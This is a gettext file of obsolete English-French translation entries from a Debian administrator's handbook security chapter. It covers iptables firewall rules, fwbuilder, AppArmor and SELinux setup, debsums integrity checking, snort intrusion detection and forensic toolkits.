#~ msgstr "<literal>ULOG</literal> : enregistrer un message de log via <command>ulogd</command>, plus adapté et plus efficace que <command>syslogd</command> pour gérer de grandes quantités de messages (cette action renvoie aussi le fil d'exécution à sa position dans la chaîne appelante) ;"

#~ msgid "<replaceable>chain_name</replaceable>: jump to the given chain and evaluate its rules;"
#~ msgstr "<replaceable>nom_de_chaîne</replaceable> : évaluer les règles de la chaîne indiquée ;"

#~ msgid "<literal>RETURN</literal>: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the <literal>-P</literal> option to <command>iptables</command>) is executed instead;"
#~ msgstr "<literal>RETURN</literal> : stopper l'évaluation de la chaîne courante et revenir sur la chaîne appelante (si la chaîne courante est une chaîne standard, dépourvue de chaîne appelante, effectuer l'action par défaut — il s'agit d'une action particulière qui se configure avec l'option <literal>-P</literal> de <command>iptables</command>) ;"

#~ msgid "<literal>SNAT</literal> (only in the <literal>nat</literal> table): apply <emphasis>Source NAT</emphasis> (extra options describe the exact changes to apply);"
#~ msgstr "<literal>SNAT</literal> (seulement dans la table <literal>nat</literal> : effectuer du <foreignphrase>Source NAT</foreignphrase> (des options précisent les modifications à effectuer) ;"

#~ msgid "<literal>DNAT</literal> (only in the <literal>nat</literal> table): apply <emphasis>Destination NAT</emphasis> (extra options describe the exact changes to apply);"
#~ msgstr "<literal>DNAT</literal> (seulement dans la table <literal>nat</literal>) : effectuer du <foreignphrase>Destination NAT</foreignphrase> (des options précisent les modifications à effectuer) ;"

#~ msgid "<literal>MASQUERADE</literal> (only in the <literal>nat</literal> table): apply <emphasis>masquerading</emphasis> (a special case of <emphasis>Source NAT</emphasis>);"
#~ msgstr "<literal>MASQUERADE</literal> (seulement dans la table <literal>nat</literal>) : effectuer du <command>masquerading</command> (SNAT particulier) ;"

#~ msgid "<literal>REDIRECT</literal> (only in the <literal>nat</literal> table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy."
#~ msgstr "<literal>REDIRECT</literal> (seulement dans la table <literal>nat</literal>) : rediriger un paquet vers un port particulier du pare-feu lui-même ; action notamment utile pour mettre en place un mandataire (ou proxy) web transparent (il s'agit d'un service pour lequel aucune configuration côté client n'est nécessaire, puisque le client a l'impression de se connecter directement au destinataire alors que ses échanges avec le serveur transitent systématiquement par le mandataire)."

#~ msgid "Other actions, particularly those concerning the <literal>mangle</literal> table, are outside the scope of this text. The <citerefentry><refentrytitle>iptables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> and <citerefentry><refentrytitle>ip6tables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> have a comprehensive list."
#~ msgstr "D'autres actions, concernant davantage la table <literal>mangle</literal>, ne sont pas mentionnées ici. Vous en trouverez la liste exhaustive dans les pages de manuel <citerefentry><refentrytitle>iptables</refentrytitle><manvolnum>8</manvolnum></citerefentry> et <citerefentry><refentrytitle>ip6tables</refentrytitle><manvolnum>8</manvolnum></citerefentry>."

#~ msgid "The <command>iptables</command> and <command>ip6tables</command> commands allow manipulating tables, chains and rules. Their <literal>-t <replaceable>table</replaceable></literal> option indicates which table to operate on (by default, <literal>filter</literal>)."
#~ msgstr "Les commandes <command>iptables</command> et <command>ip6tables</command> permettent de manipuler les tables, les chaînes et les règles. L'option <literal>-t <replaceable>table</replaceable></literal> indique la table sur laquelle opérer (par défaut, c'est <literal>filter</literal>)."

#~ msgid "Commands"
#~ msgstr "Les commandes"

#~ msgid "The <literal>-N <replaceable>chain</replaceable></literal> option creates a new chain. The <literal>-X <replaceable>chain</replaceable></literal> deletes an empty and unused chain. The <literal>-A <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal> adds a rule at the end of the given chain. The <literal>-I <replaceable>chain</replaceable> <replaceable>rule_num</replaceable> <replaceable>rule</replaceable></literal> option inserts a rule before the rule number <replaceable>rule_num</replaceable>. The <literal>-D <replaceable>chain</replaceable> <replaceable>rule_num</replaceable></literal> (or <literal>-D <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal>) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The <literal>-F <replaceable>chain</replaceable></literal> option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The <literal>-L <replaceable>chain</replaceable></literal> option lists the rules in the chain. Finally, the <literal>-P <replaceable>chain</replaceable> <replaceable>action</replaceable></literal> option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy."
#~ msgstr "L'option <literal>-N <replaceable>chaîne</replaceable></literal> crée une nouvelle chaîne ; l'option <literal>-X <replaceable>chaîne</replaceable></literal> supprime une chaîne vide et inutilisée. L'option <literal>-A <replaceable>chaîne</replaceable> <replaceable>règle</replaceable></literal> ajoute une règle à la fin de la chaîne indiquée. L'option <literal>-I <replaceable>chaîne</replaceable> <replaceable>numrègle</replaceable> <replaceable>règle</replaceable></literal> insère une règle avant la règle numérotée <replaceable>numrègle</replaceable>. L'option <literal>-D <replaceable>chaîne</replaceable> <replaceable>numrègle</replaceable></literal> ou <literal>-D <replaceable>chaîne</replaceable> <replaceable>règle</replaceable></literal> supprime une règle dans la chaîne (la première syntaxe l'identifie par son numéro et la seconde par son contenu). L'option <literal>-F <replaceable>chaîne</replaceable></literal> supprime toutes les règles de la chaîne (si celle-ci n'est pas mentionnée, elle supprime toutes les règles de la table). L'option <literal>-L <replaceable>chaîne</replaceable></literal> affiche le contenu de la chaîne. Enfin, l'option <literal>-P <replaceable>chaîne</replaceable> <replaceable>action</replaceable></literal> définit l'action par défaut pour la chaîne donnée (seules les chaînes standards peuvent en avoir une)."

#~ msgid "Rules"
#~ msgstr "Les règles"

#~ msgid "Each rule is expressed as <literal><replaceable>conditions</replaceable> -j <replaceable>action</replaceable> <replaceable>action_options</replaceable></literal>. If several conditions are described in the same rule, then the criterion is the conjunction (logical <emphasis>and</emphasis>) of the conditions, which is at least as restrictive as each individual condition."
#~ msgstr "Chaque règle s'exprime sous la forme <literal><replaceable>conditions</replaceable> -j <replaceable>action</replaceable> <replaceable>options_de_l'action</replaceable></literal>. En écrivant bout à bout plusieurs conditions dans la même règle, on en produit la conjonction (elles sont liées par des <emphasis>et</emphasis> logiques), donc une condition plus restrictive."

#~ msgid "The <literal>-p <replaceable>protocol</replaceable></literal> condition matches the protocol field of the IP packet. The most common values are <literal>tcp</literal>, <literal>udp</literal>, <literal>icmp</literal>, and <literal>icmpv6</literal>. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the <literal>-p</literal> option and it can be applied to all other conditions too."
#~ msgstr "La condition <literal>-p <replaceable>protocole</replaceable></literal> sélectionne selon le champ protocole du paquet IP, dont les valeurs les plus courantes sont <literal>tcp</literal>, <literal>udp</literal>, <literal>icmp</literal> et <literal>icmpv6</literal>. Préfixer la condition par un point d'exclamation inverse la condition (qui correspond alors à tous les paquets n'ayant pas le protocole indiqué). Cette manipulation est possible pour toutes les autres conditions énoncées ci-dessous."

#~ msgid "The <literal>-s <replaceable>address</replaceable></literal> or <literal>-s <replaceable>network/mask</replaceable></literal> condition matches the source address of the packet. Correspondingly, <literal>-d <replaceable>address</replaceable></literal> or <literal>-d <replaceable>network/mask</replaceable></literal> matches the destination address."
#~ msgstr "La condition <literal>-s <replaceable>adresse</replaceable></literal> ou <literal>-s <replaceable>réseau/masque</replaceable></literal> vérifie l'adresse source du paquet ; <literal>-d <replaceable>adresse</replaceable></literal> ou <literal>-d <replaceable>réseau/masque</replaceable></literal> en est le pendant pour l'adresse de destination."

#~ msgid "The <literal>-i <replaceable>interface</replaceable></literal> condition selects packets coming from the given network interface. <literal>-o <replaceable>interface</replaceable></literal> selects packets going out on a specific interface."
#~ msgstr "La condition <literal>-i <replaceable>interface</replaceable></literal> sélectionne les paquets provenant de l'interface réseau indiquée ; <literal>-o <replaceable>interface</replaceable></literal> sélectionne les paquets en fonction de leur interface réseau d'émission."

#~ msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the <literal>-p tcp</literal> condition can be complemented with conditions on the TCP ports, with clauses such as <literal>--source-port <replaceable>port</replaceable></literal> and <literal>--destination-port <replaceable>port</replaceable></literal>."
#~ msgstr "D'autres conditions plus spécifiques existent, qui dépendent des conditions génériques déjà définies. La condition <literal>-p tcp</literal> peut par exemple être accompagnée de conditions sur les ports TCP avec <literal>--source-port <replaceable>port</replaceable></literal> et <literal>--destination-port <replaceable>port</replaceable></literal>."

#~ msgid "The <literal>--state <replaceable>state</replaceable></literal> condition matches the state of a packet in a connection (this requires the <command>ipt_conntrack</command> kernel module, for connection tracking). The <literal>NEW</literal> state describes a packet starting a new connection; <literal>ESTABLISHED</literal> matches packets belonging to an already existing connection, and <literal>RELATED</literal> matches packets initiating a new connection related to an existing one (which is useful for the <literal>ftp-data</literal> connections in the “active” mode of the FTP protocol)."
#~ msgstr "L'option <literal>--state <replaceable>état</replaceable></literal> indique le statut du paquet dans une connexion (le module <command>ipt_conntrack</command>, qui implémente le suivi des connexions, lui est nécessaire). L'état <literal>NEW</literal> désigne un paquet qui débute une nouvelle connexion. L'état <literal>ESTABLISHED</literal> concerne les paquets d'une connexion existante et l'état <literal>RELATED</literal> les paquets d'une nouvelle connexion liée à une connexion existante (c'est le cas des connexions <literal>ftp-data</literal> d'une session <literal>ftp</literal> en mode \"actif\")."

#~ msgid "The previous section lists available actions, but not their respective options. The <literal>LOG</literal> action, for instance, has the following options:"
#~ msgstr "La section précédente détaille la liste des actions possibles, mais pas les options qui leur sont associées. L'action <literal>LOG</literal> dispose ainsi de plusieurs options visant à :"

#~ msgid "<literal>--log-level</literal>, with default value <literal>warning</literal>, indicates the <command>syslog</command> severity level;"
#~ msgstr "indiquer le niveau de sévérité du message à <command>syslog</command> (<literal>--log-level</literal>, dont la valeur par défaut est <literal>warning</literal>) ;"

#~ msgid "<literal>--log-prefix</literal> allows specifying a text prefix to differentiate between logged messages;"
#~ msgstr "préciser un préfixe textuel pour différencier les messages (<literal>--log-prefix</literal>) ;"

#~ msgid "<literal>--log-tcp-sequence</literal>, <literal>--log-tcp-options</literal> and <literal>--log-ip-options</literal> indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options."
#~ msgstr "indiquer les données à intégrer dans le message (<literal>--log-tcp-sequence</literal> pour le numéro de séquence TCP, <literal>--log-tcp-options</literal> pour les options TCP et <literal>--log-ip-options</literal> pour les options IP)."

#~ msgid "The <literal>DNAT</literal> action provides the <literal>--to-destination <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> option to indicate the new destination IP address and/or port. Similarly, <literal>SNAT</literal> provides <literal>--to-source <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> to indicate the new source IP address and/or port."
#~ msgstr "L'action <literal>DNAT</literal> dispose de l'option <literal>--to-destination <replaceable>adresse</replaceable>:<replaceable>port</replaceable></literal> pour indiquer la nouvelle adresse IP et/ou le nouveau port de destination. De la même manière, l'action <literal>SNAT</literal> dispose de l'option <literal>--to-source <replaceable>adresse</replaceable>:<replaceable>port</replaceable></literal> pour indiquer la nouvelle adresse et/ou le nouveau port source."

#~ msgid "The <literal>REDIRECT</literal> action (only available if NAT is available) provides the <literal>--to-ports <replaceable>port(s)</replaceable></literal> option to indicate the port, or port range, where the packets should be redirected."
#~ msgstr "L'action <literal>REDIRECT</literal> (seulement disponible si le NAT est disponible) a une option <literal>--to-ports <replaceable>port(s)</replaceable></literal> pour indiquer le port ou l'intervalle de ports vers lesquels rediriger les paquets."

#~ msgid "Creating Rules"
#~ msgstr "Créer les règles"

#~ msgid "Each rule creation requires one invocation of <command>iptables</command>/<command>ip6tables</command>. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as <command>fwbuilder</command>."
#~ msgstr "Il faut invoquer <command>iptables</command>/<command>ip6tables</command> une fois par règle à créer ; c'est pourquoi on consigne habituellement tous les appels à cette commande dans un fichier de script pour mettre en place la même configuration à chaque redémarrage de la machine. On peut écrire ce script à la main mais il est souvent intéressant de le préparer à l'aide d'un outil de plus haut niveau, tel que <command>fwbuilder</command>."

#~ msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:"
#~ msgstr "Son principe est simple. Dans une première étape, il faut décrire tous les éléments susceptibles d'intervenir dans les différentes règles :"

#~ msgid "the firewall itself, with its network interfaces;"
#~ msgstr "le pare-feu et ses interfaces réseau ;"

#~ msgid "the networks, with their corresponding IP ranges;"
#~ msgstr "les réseaux (et plages d'IP associées) ;"

#~ msgid "the servers;"
#~ msgstr "les serveurs ;"

#~ msgid "the ports belonging to the services hosted on the servers."
#~ msgstr "les ports correspondant aux services hébergés sur les différents serveurs."

#~ msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
#~ msgstr "On crée ensuite les règles par simple glisser/déposer des différents objets, quelques menus contextuels servant à modifier la condition (l'inverser, par exemple). Il ne reste qu'à saisir l'action souhaitée et à la paramétrer."

#~ msgid "As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let <command>fwbuilder</command> translate the rules according to the addresses assigned to the objects."
#~ msgstr "On peut soit créer 2 jeux de règles différents pour IPv4 et IPv6, soit n'en créer qu'un seul et laisser <command>fwbuilder</command> traduire les règles adéquates en fonction des différentes adresses assignées aux objets manipulés."

#~ msgid "Fwbuilder's main window"
#~ msgstr "Fwbuilder en action"

#~ msgid "<primary><command>fwbuilder</command></primary>"
#~ msgstr "<primary><command>fwbuilder</command></primary>"

#~ msgid "<command>fwbuilder</command> can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (<command>iptables</command> for Linux, <command>ipf</command> for FreeBSD and <command>pf</command> for OpenBSD)."
#~ msgstr "<command>fwbuilder</command> peut alors générer un script de configuration du pare-feu selon les règles saisies. Son architecture modulaire lui permet de générer des scripts pour les pare-feu de différents systèmes (<command>iptables</command> pour Linux, <command>ipf</command> pour FreeBSD et <command>pf</command> pour OpenBSD)."

#~ msgid ""
#~ "<computeroutput># </computeroutput><userinput>apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "</userinput><computeroutput>[...]\n"
#~ "# </computeroutput><userinput>perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "</userinput><computeroutput># </computeroutput><userinput>update-grub\n"
#~ "</userinput>"
#~ msgstr ""
#~ "<computeroutput># </computeroutput><userinput>apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "</userinput><computeroutput>[...]\n"
#~ "# </computeroutput><userinput>perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "</userinput><computeroutput># </computeroutput><userinput>update-grub\n"
#~ "</userinput>"

#~ msgid ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
#~ "<computeroutput>801 /sbin/dhclient not confined\n"
#~ "890 /sbin/rpcbind not confined\n"
#~ "899 /sbin/rpc.statd not confined\n"
#~ "929 /usr/sbin/sshd not confined\n"
#~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
#~ "988 /usr/sbin/minissdpd not confined\n"
#~ "1276 /usr/sbin/exim4 not confined\n"
#~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
#~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
#~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined</computeroutput>\n"
#~ "      "
#~ msgstr ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
#~ "<computeroutput>801 /sbin/dhclient not confined\n"
#~ "890 /sbin/rpcbind not confined\n"
#~ "899 /sbin/rpc.statd not confined\n"
#~ "929 /usr/sbin/sshd not confined\n"
#~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
#~ "988 /usr/sbin/minissdpd not confined\n"
#~ "1276 /usr/sbin/exim4 not confined\n"
#~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
#~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
#~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined</computeroutput>\n"
#~ "      "

#~ msgid "The program wants to create the <filename>/run/dhclient-eth0.pid</filename> file. If we allow the creation of this specific file only, the program will not work when the user will use it on another network interface. Thus we select “New” to replace the filename with the more generic “/run/dhclient*.pid” before recording the rule with “Allow”."
#~ msgstr "Le programme essaie de créer le fichier <filename>/run/dhclient-eth0.pid</filename>. Si nous autorisons seulement la création de ce fichier, le programme ne fonctionnera plus lorsque l'utilisateur essaiera de l'utiliser sur une autre interface réseau. Nous choisissons donc « New » pour remplacer le nom de fichier par un nom plus générique, « /run/dhclient*.pid », avant d'enregistrer la règle avec « Allow »."

#~ msgid "<emphasis>CAUTION</emphasis> Reference policy not in jessie"
#~ msgstr "<emphasis>ATTENTION</emphasis> Politique de référence absente de Jessie"

#~ msgid "Unfortunately the maintainers of the <emphasis role=\"pkg\">refpolicy</emphasis> source package did not handle release critical bugs on their package and the package got removed from jessie. This means that the <emphasis role=\"pkg\">selinux-policy-*</emphasis> packages are currently not installable in jessie and need to be fetched from another place. Hopefully they will come back in one of the point releases or in jessie-backports. In the meantime, you can grab them from unstable."
#~ msgstr "Les responsables du paquet source <emphasis role=\"pkg\">refpolicy</emphasis> n'ont malheureusement pas pu traiter à temps les bogues critiques du paquet, et ce dernier a donc été supprimé de Jessie. En pratique, cela signifie que les paquets <emphasis role=\"pkg\">selinux-policy-*</emphasis> ne sont pas disponibles dans Jessie, et qu'ils doivent être récupérés depuis une autre distribution. Nous espérons qu'ils reviendront dans une version corrective, ou dans les rétroportages. En attendant, vous pouvez les récupérer dans <emphasis role=\"distribution\">Unstable</emphasis>."

#~ msgid "This sad situation at least proves that SELinux is not very popular in the set of users/developers who are running the development versions of Debian. Thus, if you opt to use SELinux, you should expect the default policy to not work perfectly and you will have to invest quite some time to make it suitable to your specific needs."
#~ msgstr "Ce triste constat montre au moins que SELinux n'est pas très populaire parmi les utilisateurs et développeurs qui se servent des versions de développement de Debian. C'est pourquoi, lorsqu'on choisit d'utiliser SELinux, il faut s'attendre à passer un temps non négligeable à l'adapter à ses besoins spécifiques."

#~ msgid "<literal>SNAT</literal> (only in the <literal>nat</literal> table, therefore only in IPv4 on <emphasis role=\"distribution\">Wheezy</emphasis> — NAT support for IPv6 appeared in the Linux 3.7 kernel): apply <emphasis>Source NAT</emphasis> (extra options describe the exact changes to apply);"
#~ msgstr "<literal>SNAT</literal> (seulement dans la table <literal>nat</literal>, donc seulement en IPv4 sur <emphasis role=\"distribution\">Wheezy</emphasis> — la prise en charge du NAT sur IPv6 est apparu dans le noyau Linux 3.7) : effectuer du <foreignphrase>Source NAT</foreignphrase> (des options précisent les modifications à effectuer) ;"

#~ msgid "Versions of the <emphasis role=\"pkg\">fwbuilder</emphasis> package since <emphasis role=\"distribution\">Squeeze</emphasis> contain both the graphical interface and the modules for each firewall system (these were previously split over several packages, one for each target system):"
#~ msgstr "Depuis <emphasis role=\"distribution\">Squeeze</emphasis>, le paquet <emphasis>fwbuilder</emphasis> contient aussi bien l'interface graphique que les modules pour les différents pare-feu (auparavant, ces derniers étaient répartis en plusieurs paquets — un par système d'exploitation) :"

#~ msgid "If the firewall is meant to protect an intermittent PPP network connection, the simplest way to deploy the script is to install it as <filename>/etc/ppp/ip-up.d/0iptables</filename> (note that only files without a dot in their name are taken into account). The firewall will thus be reloaded every time a PPP connection is established."
#~ msgstr "Si le pare-feu doit protéger une connexion réseau intermittente par PPP, le plus simple est de changer le nom du script de configuration du pare-feu et de l'installer sous <filename>/etc/ppp/ip-up.d/0iptables</filename> (attention, le nom de fichier ne doit pas contenir de point, sinon il ne sera pas pris en compte). Ainsi, il sera rechargé à chaque démarrage d'une connexion PPP."

#~ msgid "<emphasis>TIP</emphasis> Your logs as screen background"
#~ msgstr "<emphasis>ASTUCE</emphasis> Vos logs en fond d'Ă©cran"

#~ msgid "Some administrators like seeing their log messages scroll by in real time; the <command>root-tail</command> command (in the <emphasis role=\"pkg\">root-tail</emphasis>) package can be used to integrate the logs into the background of their graphical desktop. The <command>xconsole</command> program (in the <emphasis>x11-apps</emphasis> package) can also have them scrolling in a small window. Messages are directly taken from <command>syslogd</command> via the <filename>/dev/xconsole</filename> named pipe."
#~ msgstr "Certains administrateurs aiment voir les messages de logs défiler en temps réel. Ils pourront les intégrer dans le fond d'écran de leur bureau graphique avec la commande <command>root-tail</command> (du paquet Debian éponyme). Le programme <command>xconsole</command> (du paquet <emphasis>x11-apps</emphasis>) les fera défiler dans une petite fenêtre ; les messages sont directement issus de <command>syslogd</command> par l'intermédiaire du tube nommé <filename>/dev/xconsole</filename>."

#~ msgid "<primary><command>root-tail</command></primary>"
#~ msgstr "<primary><command>root-tail</command></primary>"

#~ msgid "In addition, the <filename>md5sums</filename> files are stored on the hard disk; a thorough attacker will therefore update these files so they contain the new control sums for the subverted files."
#~ msgstr "D'autre part, les fichiers <filename>md5sums</filename> sont stockés sur le disque dur : un intrus consciencieux modifiera ces fichiers pour leur faire refléter les nouvelles sommes de contrôle des fichiers sur lesquels il sera intervenu."

#~ msgid "The first drawback can be avoided by asking <command>debsums</command> to base its checks on a <filename>.deb</filename> package instead of relying on the <filename>md5sums</filename> file. But that requires downloading the matching <filename>.deb</filename> files first:"
#~ msgstr "On peut contourner le premier inconvénient en demandant à <command>debsums</command> d'utiliser directement un paquet <filename>.deb</filename> pour effectuer le contrôle au lieu de se reposer sur le fichier <filename>md5sums</filename>.  Il faut au préalable télécharger les fichiers <filename>.deb</filename> correspondants :"

#~ msgid ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `debsums -l`</userinput>\n"
#~ "<computeroutput>[ ... ]\n"
#~ "# </computeroutput><userinput>debsums -p /var/cache/apt/archives -g</userinput>\n"
#~ "      "
#~ msgstr ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `debsums -l`</userinput>\n"
#~ "<computeroutput>[ ... ]\n"
#~ "# </computeroutput><userinput>debsums -p /var/cache/apt/archives -g</userinput>\n"
#~ "      "

#~ msgid "It is also worth noting that, in its default configuration, <command>debsums</command> automatically generates the missing <filename>md5sums</filename> files whenever a package is installed using APT."
#~ msgstr "En outre, dans sa configuration par défaut, <command>debsums</command> génère automatiquement les fichiers <filename>md5sums</filename> manquants en effectuant l'opération ci-dessus chaque fois que APT est employé pour installer un nouveau paquet."

#~ msgid "Its configuration requires describing the range of addresses that the local network covers. In practice, this means the set of all potential attack targets. Other important parameters can be configured with <command>dpkg-reconfigure snort</command>, including the network interface to monitor. This will often be <literal>eth0</literal> for an Ethernet connection, but other possibilities exist such as <literal>ppp0</literal> for an ADSL or PSTN (<emphasis>Public Switched Telephone Network</emphasis>, or good old dialup modem), or even <literal>wlan0</literal> for some wireless network cards."
#~ msgstr "Son installation demande de préciser la plage d'adresses couverte par le réseau local : il s'agit en réalité d'indiquer toutes les cibles potentielles d'attaques. Il est possible de configurer d'autres paramètres importants en exécutant <command>dpkg-reconfigure snort</command>, notamment l'interface réseau à surveiller. Il s'agit en général d'<literal>eth0</literal> pour une connexion Ethernet, mais on pourra aussi trouver <literal>ppp0</literal> pour une connexion ADSL ou RTC (Réseau Téléphonique Commuté, ou modem classique) voire <literal>wlan0</literal> pour certaines cartes Wi-Fi."

#~ msgid "The <command>snort</command> configuration file (<filename>/etc/snort/snort.conf</filename>) is very long, and the abundant comments describe each directive with much detail. Getting the most out of it requires reading it in full and adapting it to the local situation. For instance, indicating which machine hosts which service can limit the number of incidents <command>snort</command> will report, since a denial of service attack on a desktop machine is far from being as critical as one on a DNS server. Another interesting directive allows storing the mappings between IP addresses and MAC addresses (these uniquely identify a network card), so as to allow detecting <emphasis>ARP spoofing</emphasis> attacks by which a compromised machine attempts to masquerade as another such as a sensitive server."
#~ msgstr "Le fichier de configuration de <command>snort</command> (<filename>/etc/snort/snort.conf</filename>) est très long et ses abondants commentaires y détaillent le rôle de chaque directive. Il est fortement recommandé de le parcourir et de l'adapter à la situation locale pour en tirer le meilleur parti. En effet, il est possible d'y indiquer les machines hébergeant chaque service pour limiter le nombre d'incidents rapportés par <command>snort</command> (un déni de service sur une machine bureautique n'est pas aussi dramatique que sur un serveur DNS). On peut encore y renseigner les correspondances entre adresses IP et MAC (il s'agit d'un numéro unique identifiant chaque carte réseau) pour détecter les attaques par <foreignphrase>ARP-spoofing</foreignphrase> (travestissement d'ARP), qui permettent à une machine compromise de se substituer à une autre (un serveur sensible par exemple)."

#~ msgid "On a small network based around a network hub, there is no such problem, since all machines get all the traffic."
#~ msgstr "Pour un petit réseau doté d'un concentrateur (<foreignphrase>hub</foreignphrase>), le problème ne se pose pas : toutes les machines reçoivent tout le trafic."

#~ msgid "The target object was named <literal>xconsole</literal>."
#~ msgstr "L'objet cible portait le nom de <literal>xconsole</literal>."

#~ msgid "Some of these operations can be made easier with specialized software. In particular, <emphasis>The Coroner Toolkit</emphasis> (in the <emphasis role=\"pkg\">tct</emphasis> package) is a collection of such tools. It includes several tools; amongst these, <command>grave-robber</command> can collect data from a running compromised system, <command>lazarus</command> extracts often interesting data from non-allocated regions on disks, and <command>pcat</command> can copy the memory used by a process; other data extraction tools are also included. <indexterm><primary>The Coroner Toolkit</primary></indexterm>"
#~ msgstr "Il existe des logiciels pour faciliter certaines de ces opérations. Citons notamment <foreignphrase>The Coroner Toolkit</foreignphrase> (Le kit du médecin légiste) fourni par le paquet <emphasis role=\"pkg\">tct</emphasis> : il contient <command>grave-robber</command> qui collecte à chaud des données d'un système compromis, <command>lazarus</command> qui extrait des données des zones non allouées d'un disque, <command>pcat</command> qui effectue une copie de la mémoire utilisée par un processus, ainsi que d'autres outils d'extraction de données. <indexterm><primary>The Coroner Toolkit</primary></indexterm>"